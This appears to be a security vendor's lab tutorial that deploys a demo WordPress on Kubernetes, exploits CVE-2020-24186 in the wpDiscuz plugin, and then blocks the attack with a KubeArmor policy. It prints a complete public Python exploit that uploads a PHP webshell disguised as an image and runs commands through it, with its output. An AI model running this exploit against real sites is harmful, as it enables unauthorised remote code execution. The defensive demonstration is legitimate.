kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/wordpress-demo/k8s-wordpress.yaml
kubectl get pod -n wordpress-mysql
NAME READY STATUS RESTARTS AGE
wordpress-5d5d448dcc-52mcj 1/1 Running 0 4d10h
wordpress-mysql-7757f9f8c8-2j8wm 1/1 Running 0 4d9h
kubectl get svc -n wordpress-mysql
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
wordpress LoadBalancer 10.16.12.13 35.232.52.87 80:31790/TCP
wordpress-mysql ClusterIP None <none> 3306/TCP
Here the external IP is http://35.232.52.87/
Initiating the Attack
Go to http://35.232.52.87/2021/12/16/hello-world/ and create a comment. With a simple inspect of the webpage, we can see that WordPress is using wpDiscuz in it to create responsive comments.
Here, replace 35.232.52.87 from your own IP.
With the URL in hand, we’ll try to exploit the application by uploading a PHP code into the server and thereby granting us RCE.
To make this happen we use a public exploit for the wpDiscuz vulnerability.
#!/bin/python3
# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2021/06/08
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: wpDiscuz 7.0.4
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
# CVE : CVE-2020-24186
# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)
import requests
import optparse
import re
import random
import time
import string
import json
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")
options, args = parser.parse_args()
if not options.url or not options.path:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')
print('[+] Example help usage: exploit.py -h')
exit()
session = requests.Session()
main_url = options.url
path = options.path
url_blog = main_url + path
clean_host = main_url.replace('http://', '').replace('/wordpress','')
def banner():
print('---------------------------------------------------------------')
print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
print('[-] CVE: CVE-2020-24186')
print('[-] https://github.com/hevox')
print('--------------------------------------------------------------- \n')
def csrfRequest():
global wmuSec
global wc_post_id
try:
get_html = session.get(url_blog)
response_len = str(len(get_html.text))
response_code = str(get_html.status_code)
print('[+] Response length:['+response_len+'] | code:['+response_code+']')
raw_wmu = get_html.text.replace(',','\n')
wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
print('[!] Got wmuSecurity value: '+ wmuSec +'')
raw_postID = get_html.text.replace(',','\n')
wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')
except requests.exceptions.HTTPError as err:
print('\n[x] Failed to Connect in: '+url_blog+' ')
print('[x] This host seems to be Down')
exit()
def nameRandom():
global shell_name
print('[+] Generating random name for Webshell...')
shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
time.sleep(1)
print('[!] Generated webshell name: '+shell_name+'\n')
return shell_name
def shell_upload():
global shell
print('[!] Trying to Upload Webshell..')
try:
upload_url = main_url + "/wp-admin/admin-ajax.php"
upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
json_object = (json.loads(check.text))
status = (json_object["success"])
get_path = (check.text.replace(',','\n'))
shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
find_shell = str(shell_pret)
raw = (find_shell.replace('\\','').replace('url":"','').replace('\',','').replace('"','').replace('[\'',''))
shell = (raw.split(" ",1)[0])
if status == True:
print('[+] Upload Success... Webshell path:' +shell+' \n')
else:
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
exit()
except requests.exceptions.HTTPError as conn:
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
return shell
def code_exec():
try:
while True:
cmd = input('> ')
codex = session.get(shell + '?cmd='+cmd+'')
print(codex.text.replace('GIF689a;','').replace('�',''))
except:
print('\n[x] Failed to execute PHP code...')
banner()
csrfRequest()
nameRandom()
shell_upload()
code_exec()
This python code requires the URL to the WordPress site and the blogpost endpoint. We’ll get both of these from the UI.
python3 exploit.py -u http://35.232.52.87/ -p /2021/12/16/hello-world
The command will upload an arbitrary PHP file with <?php system($_GET['cmd']); ?> and then access this file to trigger execution on the server, thereby achieving remote code execution.
---------------------------------------------------------------
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
---------------------------------------------------------------
[+] Response length:[101559] | code:[200]
[!] Got wmuSecurity value: fbf0656b17
[!] Got wmuSecurity value: 1
[+] Generating random name for Webshell...
[!] Generated webshell name: bmrorpjvojkbbko
[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:http://35.232.52.87/wp-content/uploads/2021/12/bmrorpjvojkbbko-1640016084.4304.php
> hostname
wordpress-5d5d448dcc-52mcj
>
Defending against the Attack
In order to defend against the attack, we dig a little deeper and found the root cause to be the "unrestricted file upload" when coupled with double extensions (e.g., ".php.gif") bypassed sanity checks.
To resolve the vulnerability you can update wpDiscuz to version 7.0.5+ by experiencing downtime or use KubeArmor’s pre-tailored policy to remove the vulnerability even without changing anything.
About the Policy:
# KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit:
# https://www.accuknox.com/kubearmor/
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: ksp-cve-2020-24186-deny-wordpress-rce
namespace: wordpress-mysql # Change your namespace
spec:
tags: ["CVE", "WordPress-RCE", "CVE-2020-24186"]
message: "Alert! *.php file upload to wp-content subdirectory detected"
selector:
matchLabels:
app: wordpress #change this label with your label
file:
severity: 5
matchPatterns:
- pattern: /var/www/html/wp-content/uploads/**/*.php
- pattern: /var/www/html/wp-content/uploads/**/*.sh
action: Block
You can simply take advantage of our open-source GitHub inventory, and apply Policy directly from there:
kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-cve-2020-24186-deny-wordpress-rce.yaml
Checking the policy logs on KubeArmor
To check how to do it, kindly go through our help section.
Blocked Policy Log Created by KubeArmor
{
"timestamp": 1640059272,
"updatedTime": "2021-12-21T04:01:12.676169Z",
"hostName": "gke-cys-poc-default-pool-3be49535-k4cp",
"namespaceName": "wordpress-mysql",
"podName": "wordpress-5d5d448dcc-52mcj",
"containerID": "9d477215d2288de4cd5ff63f387a808fe1bf3663d130362bebf33c546427e09c",
"containerName": "wordpress",
"hostPid": 3863212,
"ppid": 1,
"pid": 120,
"uid": 33,
"type": "ContainerLog",
"source": "apache2",
"operation": "File",
"resource": "/var/www/html/wp-content/uploads/2021/12/xjeyirtptddiemf-1640059272.6737.php",
"data": "syscall=SYS_OPEN flags=O_WRONLY|O_CREAT|O_TRUNC",
"result": "Permission denied"
}
AccuKnox's policy templates repository
AccuKnox's policy templates is an open-source repo that also contains a wide range of attack prevention techniques including MITRE, as well as hardening techniques for your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and Network policy templates for the KubeArmor and Cilium to download and apply policy templates.
Conclusion
In this post, we detailed a flaw in wpDiscuz that provided unauthenticated users with the ability to upload arbitrary files, including PHP files, and execute those files on the server. Thus leading to an RCE and resource hijacking.
Using KubeArmor, an organization can effectively protect against these sorts of accidental developer-introduced vulnerabilities.